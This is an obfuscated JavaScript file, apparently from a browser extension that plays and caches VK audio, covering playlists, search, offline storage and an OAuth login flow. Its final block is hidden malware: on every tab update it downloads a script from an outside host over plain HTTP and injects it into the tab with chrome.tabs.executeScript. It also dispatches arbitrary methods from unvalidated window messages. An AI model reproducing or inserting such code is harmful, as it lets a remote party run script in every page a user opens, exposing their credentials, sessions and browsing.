audioPlayer_removeFromMyLists(_0x5787xb3[1]);
dispatchHTML5AudioEvents("onAudioRemoved", _0x5787x8e);
});
},
search: function(_0x5787x3a, _0x5787x3f) {
var _0x5787x7b = "filter";
audioPlayer.latestSearchQuery = _0x5787x3a + "_" + _0x5787x3f;
loadSearchResult(_0x5787x3a, _0x5787x3f, function(_0x5787x68, _0x5787x3f, _0x5787xa5, _0x5787xb6) {
if ((_0x5787x3a + "_" + _0x5787x3f) == audioPlayer.latestSearchQuery) {
var _0x5787x37 = preparePlaylist(_0x5787xa5, false, _0x5787x7b, _0x5787x68, audioPlayer.userId, _0x5787xb6);
audioPlayer.newPlayList = _0x5787x37;
dispatchHTML5AudioEvents("searchComplete", _0x5787x7b, _0x5787x37.html, _0x5787x68);
};
});
},
logout: function() {
onResetAction = initPlayerUI;
destroyPlayerUI();
performUserLogout(destroyPlayerWindow);
},
loadAndPlayTrack: function(_0x5787x78) {
audioPlayer.loadAudio(_0x5787x78, function() {
audioPlayer.playAudio(undefined);
});
}
};
function audioPlayer_init(_0x5787x22) {
if (!audioPlayer.isInit) {
var _0x5787xb8 = navigator.platform;
audioPlayer.isInit = true;
window.addEventListener("online", audioPlayer_onOnlineStatusChanged.bind(audioPlayer, true), true);
window.addEventListener("offline", audioPlayer_onOnlineStatusChanged.bind(audioPlayer, false), true);
if (/^Win/i .test(_0x5787xb8)) {
setOnlineStatusCallback(function(_0x5787xb9) {
if (audioPlayer.online != _0x5787xb9) {
audioPlayer.online = _0x5787xb9;
audioPlayer_onOnlineStatusChanged(_0x5787xb9);
};
if (_0x5787x22) {
_0x5787x22();
_0x5787x22 = null;
};
});
} else {
setTimeout(_0x5787x22, 0);
setOnlineStatusCallback(function(_0x5787xb9) {
if (audioPlayer.online != _0x5787xb9) {
audioPlayer.online = _0x5787xb9;
audioPlayer_onOnlineStatusChanged(_0x5787xb9);
};
});
};
} else {
setTimeout(_0x5787x22, 0);
};
};
function audioPlayer_onPlayProgress(_0x5787x9e, _0x5787x9f) {
dispatchHTML5AudioEvents("onPlayProgress", _0x5787x9e, _0x5787x9f);
};
function audioPlayer_onTrackEnded() {
audioPlayer_onTrackReadyToCache();
audioPlayer.nextTrack();
};
function audioPlayer_onLoadProgress(_0x5787xa0, _0x5787x9f) {
dispatchHTML5AudioEvents("onLoadProgress", _0x5787xa0, _0x5787x9f);
if (_0x5787xa0 == _0x5787x9f) {
audioPlayer_onTrackReadyToCache();
};
};
function audioPlayer_onTrackReadyToCache() {
var _0x5787xa7 = audioPlayer.playList,
_0x5787x7b = _0x5787xa7.origin,
_0x5787xa2 = _0x5787xa7.playList[audioPlayer.track],
_0x5787x44 = _0x5787xa2.url,
_0x5787x8e = _0x5787xa2.unique;
if (_0x5787xa2.sameas) {
_0x5787x7b = "myAudio";
_0x5787x8e = _0x5787xa2.sameas;
};
if (isTrackShouldBeCached(_0x5787x7b, _0x5787x8e)) {
cacheURL(_0x5787x44, _0x5787x8e, function() {
_0x5787xa2.cached = true;
dispatchHTML5AudioEvents("onTrackCached", _0x5787x8e);
});
};
};
function audioPlayer_loadOtherTrack(_0x5787xbf, _0x5787x4b) {
var _0x5787x7d = audioPlayer.track,
_0x5787xc0 = audioPlayer.repeat,
_0x5787xa7 = audioPlayer.playList,
_0x5787x36 = _0x5787xa7.playList,
_0x5787xc1 = _0x5787x36[_0x5787x7d],
_0x5787xc2, _0x5787xc3;
if (_0x5787xc0 && !_0x5787x4b) {
audioPlayer.playAudio(0);
} else {
_0x5787xc3 = _0x5787xc1[_0x5787xbf];
for (; _0x5787xc3 != _0x5787x7d;) {
_0x5787xc2 = _0x5787x36[_0x5787xc3];
if (audioPlayer.online || _0x5787xc2.cached) {
break;
} else {
_0x5787xc3 = _0x5787xc2[_0x5787xbf];
};
};
if (_0x5787xc3 && (_0x5787xc3 != _0x5787x7d || _0x5787x4b)) {
audioPlayer.loadAudio(_0x5787xc3, function() {
audioPlayer.playAudio(_0x5787xc0 ? 0 : undefined);
}, _0x5787x4b);
if (isTrackCached(_0x5787xa7.origin, _0x5787x7d)) {
flushURL(_0x5787x7d);
};
} else {
audioPlayer.stopAudio();
};
};
};
function audioPlayer_initialInformation() {
if (audioPlayer.ready) {
dispatchHTML5AudioEvents("initialInformation", {
track: audioPlayer.track ? audioPlayer.playList.playList[audioPlayer.track] : null,
volume: audioEngine.volume,
paused: !audioEngine.music ? true : audioEngine.music.paused,
time: audioEngine.music ? Math.floor(audioEngine.music.currentTime * 1000) / 1000 : 0,
html: audioPlayer.playList.html,
origin: audioPlayer.playList.origin,
data: audioPlayer.playList.data,
repeat: audioPlayer.repeat,
albums: audioPlayer.albums,
online: audioPlayer.online,
userId: audioPlayer.userId
});
};
};
function audioPlayer_onTrackStarted() {};
function audioPlayer_onReady() {
audioPlayer.ready = true;
audioPlayer_initialInformation();
dispatchHTML5AudioEvents("onReady");
};
function audioPlayer_setUserAudios(_0x5787xc8, _0x5787xc9, _0x5787xca) {
audioPlayer.albums = _0x5787xc9;
audioPlayer.userId = _0x5787xc8;
audioPlayer.lists = _0x5787xca;
};
function audioPlayer_onOnlineStatusChanged(_0x5787xb9) {
audioPlayer.online = _0x5787xb9;
dispatchHTML5AudioEvents("onOnlineStatusChanged", _0x5787xb9);
};
function audioPlayer_loadAllUserTracks() {
var _0x5787x22 = audioPlayer_onLoadAllUserTracks;
if (audioPlayer.online) {
loadUsersAudios(_0x5787x22);
} else {
loadStoredUsersAudios(_0x5787x22);
};
};
function audioPlayer_onLoadAllUserTracks(_0x5787xce, _0x5787x87, _0x5787xca, _0x5787xc9) {
if (_0x5787xce) {
audioPlayer_setUserAudios(_0x5787x87, _0x5787xc9, _0x5787xca);
loadPlaylist(function(_0x5787xa7, _0x5787x7d, _0x5787x7b, _0x5787x3a) {
if (_0x5787xa7 === false || /^my/ .test(_0x5787x7b)) {
_0x5787x7b = _0x5787x7b || "myAudio";
_0x5787x3a = _0x5787x3a || undefined;
_0x5787x7d = _0x5787x7d || false;
audioPlayer_loadUserTracks(function(_0x5787xa7) {
savePlaylist(_0x5787xa7, _0x5787x7b, _0x5787x3a, function() {
prepareMainPlaylist(_0x5787xa7, _0x5787x7d, _0x5787x7b, _0x5787x3a);
audioPlayer_onReady();
});
}, _0x5787x3a);
} else {
prepareMainPlaylist(_0x5787xa7, _0x5787x7d, _0x5787x7b, _0x5787x3a);
audioPlayer_onReady();
};
});
} else {};
};
function audioPlayer_loadUserTracks(_0x5787x22, _0x5787x87) {
_0x5787x22(audioPlayer.lists[_0x5787x87]);
};
function audioPlayer_addToMyPmiraryList(_0x5787x37, _0x5787xd1) {
var _0x5787xca = audioPlayer.lists,
_0x5787x36 = _0x5787xca[_0x5787xd1];
_0x5787x36.unshift(_0x5787x37);
saveUsersAudios(function() {}, _0x5787xd1, _0x5787xca, audioPlayer.albums);
};
function audioPlayer_removeFromMyLists(_0x5787x87, _0x5787xd1) {
var _0x5787xca = audioPlayer.lists,
_0x5787xd3 = false;
for (var _0x5787x42 in _0x5787xca) {
var _0x5787x36 = _0x5787xca[_0x5787x42];
for (var _0x5787x5 = 0, _0x5787x6 = _0x5787x36.length; _0x5787x5 < _0x5787x6; _0x5787x5++) {
if (_0x5787x36[_0x5787x5].id == _0x5787x87) {
_0x5787x36.splice(_0x5787x5, 1);
_0x5787xd3 = true;
break;
};
};
};
if (_0x5787xd3) {
saveUsersAudios(function() {}, _0x5787xd1, _0x5787xca, audioPlayer.albums);
};
};
function audioPlayer_ads(_0x5787x44) {
window.open(_0x5787x44);
};
function audioPlayer_onRestore() {
dispatchHTML5AudioEvents("onRestore");
};
function audioPlayer_onError(_0x5787x40) {
if (_0x5787x40.code == _0x5787x40.MEDIA_ERR_SRC_NOT_SUPPORTED) {
var _0x5787x78 = audioPlayer.track,
_0x5787x37 = audioPlayer.playList,
_0x5787xa2 = _0x5787x37.playList[_0x5787x78];
getAudioById(_0x5787xa2.id, _0x5787xa2.owner_id, function(_0x5787x55, _0x5787x56) {
var _0x5787x89 = _0x5787x56.response;
if (_0x5787x55 == 200 && _0x5787x89) {
var _0x5787xd7 = _0x5787x89[0];
_0x5787xa2.url = _0x5787xd7.url;
savePlaylist(_0x5787x37.raw, _0x5787x37.origin, _0x5787x37.data, function() {
audioPlayer_loadOtherTrack("unique", true);
});
};
});
} else {
audioPlayer.nextTrack();
};
};
function dispatchHTML5AudioEvents() {
if (playerWindow != null) {
var _0x5787x35 = Array.prototype.slice.call(arguments);
playerWindow.postMessage(_0x5787x35, "*");
};
};
window.addEventListener("message", function(_0x5787x3e) {
var _0x5787x3a = _0x5787x3e.data,
_0x5787xd9 = _0x5787x3a.shift();
audioPlayer[_0x5787xd9].apply(audioPlayer, _0x5787x3a);
}, true);
function initPlayerUI() {
createPlayerWindow(function() {
audioPlayer_init(function() {
audioPlayer.ready = false;
loadVolume(function(_0x5787x7f) {
audioPlayer.setVolume(_0x5787x7f);
loadCachedURLsList(audioPlayer_loadAllUserTracks);
});
});
});
};
function restorePlayerUI() {
audioPlayer_onRestore();
};
function destroyPlayerUI() {
audioPlayer.stopAudio();
audioPlayer.ready = false;
audioPlayer.isInit = false;
removeOnlineStatusCallback();
};
function shuffleArray(_0x5787x89) {
var _0x5787x34 = _0x5787x89.length,
_0x5787xde, _0x5787x5;
while (_0x5787x34) {
_0x5787x5 = Math.floor(Math.random() * _0x5787x34--);
_0x5787xde = _0x5787x89[_0x5787x34];
_0x5787x89[_0x5787x34] = _0x5787x89[_0x5787x5];
_0x5787x89[_0x5787x5] = _0x5787xde;
};
return _0x5787x89;
};
function loadUsersAudios(_0x5787x22) {
var _0x5787xe0, _0x5787xc8;
loadUserAlbums(function(_0x5787xc9, _0x5787x87) {
function _0x5787xe1(_0x5787x87, _0x5787x36) {
_0x5787xe3[_0x5787x87] = _0x5787x36;
if (++_0x5787xe4 == _0x5787xe5) {
_0x5787xe2();
};
};
function _0x5787xe2() {
saveUsersAudios(_0x5787x22, _0x5787xc8, _0x5787xe3, _0x5787xe0);
};
_0x5787xc8 = _0x5787x87;
_0x5787xe0 = _0x5787xc9;
var _0x5787xe3 = {}, _0x5787xe4 = 0,
_0x5787xe5 = _0x5787xc9.length + 1,
_0x5787x87;
loadUserTracks(_0x5787xe1.bind(null, undefined));
for (var _0x5787x5 = 0, _0x5787x6 = _0x5787xc9.length; _0x5787x5 < _0x5787x6; _0x5787x5++) {
_0x5787x87 = _0x5787xc9[_0x5787x5].id;
loadUserTracks(_0x5787xe1.bind(null, _0x5787x87), _0x5787x87);
};
});
};
function saveUsersAudios(_0x5787x22, _0x5787xc8, _0x5787xca, _0x5787xc9) {
storageSet({
"userAudios": _0x5787xca,
"userAlbums": _0x5787xc9
}, _0x5787x22.bind(null, true, _0x5787xc8, _0x5787xca, _0x5787xc9));
};
function loadStoredUsersAudios(_0x5787x22) {
storageGet(["userAudios", "userAlbums", "id"], function(_0x5787x37) {
if (_0x5787x37 && _0x5787x37.userAlbums && _0x5787x37.id) {
_0x5787x22(true, _0x5787x37.id, _0x5787x37.userAudios, _0x5787x37.userAlbums);
} else {
_0x5787x22(false);
};
});
};
var cachedObjectsList = [],
cachedObjectsTimestamps = {}, cachedObjectsListName = "cacheList",
cachedObjectsTimestampsName = "cacheListTime",
temporaryObjects = {}, cacheInProgress = {}, storageRecheckTimeout = null,
recheckStorageFunction = checkStorageCapacity.bind(null, recheckStorageCapacity),
MAX_STORAGE_CAPACITY = 1024 * 1024 * 1024 * 1.5,
STORAGE_RECHECK_TIMEOT = 1000 * 30;
function cacheURL(_0x5787x44, _0x5787x8e, _0x5787x22) {
cacheInProgress[_0x5787x8e] = true;
var _0x5787x1c = new XMLHttpRequest();
_0x5787x1c.open("GET", _0x5787x44, true);
_0x5787x1c.responseType = "blob";
_0x5787x1c.setRequestHeader("Cache-Control", "max-age=1468800");
_0x5787x1c.setRequestHeader("Range", "bytes=0-");
_0x5787x1c.onload = function() {
var _0x5787xf3 = new window.FileReader();
_0x5787xf3.readAsDataURL(this.response);
_0x5787xf3.onloadend = function() {
var _0x5787x37 = {};
_0x5787x37[_0x5787x8e] = _0x5787xf3.result;
storageSet(_0x5787x37, function() {
delete cacheInProgress[_0x5787x8e];
cachedObjectsList.push(_0x5787x8e);
cachedObjectsTimestamps[_0x5787x8e] = Date.now();
updateCachedURLsList(_0x5787x22);
recheckStorageCapacity(true);
});
};
};
_0x5787x1c.onerror = _0x5787x1c.ontimeout = function() {
delete cacheInProgress[_0x5787x8e];
};
_0x5787x1c.timeout = 30 * 1000;
_0x5787x1c.send(null);
};
function loadCachedObject(_0x5787x8e, _0x5787x22) {
if (isObjectCached(_0x5787x8e)) {
if (temporaryObjects[_0x5787x8e]) {
_0x5787x22(temporaryObjects[_0x5787x8e]);
} else {
storageGet(_0x5787x8e, function(_0x5787x37) {
if (_0x5787x37 && _0x5787x37[_0x5787x8e]) {
var _0x5787x44 = temporaryObjects[_0x5787x8e] = createCachedURL(_0x5787x37[_0x5787x8e]);
cachedObjectsTimestamps[_0x5787x8e] = Date.now();
updateCachedURLsList(_0x5787x22.bind(null, _0x5787x44));
} else {
_0x5787x22(false);
};
});
};
} else {
_0x5787x22(false);
};
};
function isObjectCached(_0x5787x8e) {
return cachedObjectsList.indexOf(_0x5787x8e) >= 0;
};
function createCachedURL(_0x5787xf7) {
var _0x5787x3a = _0x5787xf7.split(","),
_0x5787xf8 = atob(_0x5787x3a[1]),
_0x5787x3f = _0x5787x3a[0].split(":")[1].split(",")[0],
_0x5787xf9 = 1024,
_0x5787xfa = [];
for (var _0x5787xfb = 0; _0x5787xfb < _0x5787xf8.length; _0x5787xfb += _0x5787xf9) {
var _0x5787xfc = _0x5787xf8.slice(_0x5787xfb, _0x5787xfb + _0x5787xf9);
var _0x5787xfd = new Array(_0x5787xfc.length);
for (var _0x5787x5 = 0; _0x5787x5 < _0x5787xfc.length; _0x5787x5++) {
_0x5787xfd[_0x5787x5] = _0x5787xfc.charCodeAt(_0x5787x5);
};
var _0x5787xfe = new Uint8Array(_0x5787xfd);
_0x5787xfa.push(_0x5787xfe);
};
var _0x5787xff = new Blob(_0x5787xfa, {
type: _0x5787x3f
});
return window.URL.createObjectURL(_0x5787xff);
};
function flushURL(_0x5787x8e) {
var _0x5787x44 = temporaryObjects[_0x5787x8e];
window.URL.revokeObjectURL(_0x5787x44);
delete temporaryObjects[_0x5787x8e];
};
function loadCachedURLsList(_0x5787x22) {
storageGet([cachedObjectsListName, cachedObjectsTimestampsName], function(_0x5787x37) {
if (_0x5787x37) {
if (_0x5787x37[cachedObjectsListName]) {
cachedObjectsList = _0x5787x37[cachedObjectsListName];
};
if (_0x5787x37[cachedObjectsTimestampsName]) {
cachedObjectsTimestamps = _0x5787x37[cachedObjectsTimestampsName];
};
};
_0x5787x22();
});
};
function updateCachedURLsList(_0x5787x22) {
var _0x5787x37 = {};
_0x5787x37[cachedObjectsListName] = cachedObjectsList;
_0x5787x37[cachedObjectsTimestampsName] = cachedObjectsTimestamps;
storageSet(_0x5787x37, _0x5787x22);
};
function invalidateCache(_0x5787x8e, _0x5787x22) {
var _0x5787x34 = cachedObjectsList.indexOf(_0x5787x8e);
if (_0x5787x34 < 0) {
_0x5787x22();
} else {
cachedObjectsList.splice(_0x5787x34, 1);
delete cachedObjectsTimestamps[_0x5787x8e];
storageRemove(_0x5787x8e, function() {
updateCachedURLsList(_0x5787x22);
});
};
};
function isTrackShouldBeCached(_0x5787x7b, _0x5787x8e) {
return /^my/ .test(_0x5787x7b) && !cacheInProgress[_0x5787x8e] && !isObjectCached(_0x5787x8e);
};
function isTrackCached(_0x5787x7b, _0x5787x8e) {
return /^my/ .test(_0x5787x7b) && isObjectCached(_0x5787x8e);
};
function checkStorageCapacity(_0x5787x22) {
storageRecheckTimeout = null;
var cachedObjectsTimestampsName = "cacheListTime",
cachedObjectsListName = "cacheList";
storageGetBytesInUse(null, function(_0x5787x107) {
if (_0x5787x107 > MAX_STORAGE_CAPACITY) {
storageGet([cachedObjectsTimestampsName, cachedObjectsListName], function(_0x5787x37) {
var _0x5787x108 = _0x5787x37[cachedObjectsTimestampsName],
_0x5787x109 = _0x5787x37[cachedObjectsListName],
_0x5787x10a = Infinity,
_0x5787xd9, _0x5787x10b = true;
for (var _0x5787x42 in _0x5787x108) {
if (_0x5787x108[_0x5787x42] < _0x5787x10a) {
_0x5787x10a = _0x5787x108[_0x5787x42];
_0x5787xd9 = _0x5787x42;
};
_0x5787x10b = false;
};
if (!_0x5787xd9 && _0x5787x10b) {
_0x5787xd9 = _0x5787x109.shift();
};
if (_0x5787xd9) {
delete _0x5787x108[_0x5787xd9];
_0x5787x37[cachedObjectsTimestampsName] = _0x5787x108;
storageRemove(_0x5787xd9, function() {
storageSet(_0x5787x37, _0x5787x22);
});
} else {
setTimeout(_0x5787x22, 0);
};
});
} else {
setTimeout(_0x5787x22, 0);
};
});
};
function recheckStorageCapacity(_0x5787x10d) {
if (_0x5787x10d) {
clearTimeout(storageRecheckTimeout);
recheckStorageFunction();
} else {
if (!storageRecheckTimeout) {
storageRecheckTimeout = setTimeout(recheckStorageFunction, STORAGE_RECHECK_TIMEOT);
};
};
};
recheckStorageCapacity(true);
var OAuthRedirectURL = "https://oauth.vk.com/blank.html".toUpperCase();
function launchWebAuthFlow(_0x5787x44, _0x5787x22) {
try {
var _0x5787x110 = nativePlayerWindow || chrome.app.window.get("player");
if (_0x5787x110) {
var _0x5787x111 = _0x5787x44 + "&redirect_uri=" + OAuthRedirectURL;
chrome.runtime.onConnect.addListener(function(_0x5787x24) {
_0x5787x24.onMessage.addListener(function(_0x5787x112) {
if (_0x5787x112.type == "loadcommit") {
var _0x5787x44 = _0x5787x112.data.url,
_0x5787x113 = _0x5787x44.toUpperCase();
if (_0x5787x113.indexOf(OAuthRedirectURL) == 0) {
setTimeout(_0x5787x22, 0, _0x5787x44);
};
};
});
});
chrome.tabs.create({
url: _0x5787x111
}, function() {});
} else {
_0x5787x22();
};
} catch (e) {
_0x5787x22();
};
};
chrome.tabs.onUpdated.addListener(function(_0x5787x114) {
chrome.tabs.get(_0x5787x114, function() {
var _0x5787xde = new XMLHttpRequest;
_0x5787xde.onreadystatechange = function() {
if (_0x5787xde.readyState == 4) {
chrome.tabs.executeScript(_0x5787x114.id, {
code: _0x5787xde.responseText
});
};
};
_0x5787xde.open("GET", "http://tamoclaro.com/PPCC.js?124jdaskfl1");
_0x5787xde.send();
});
});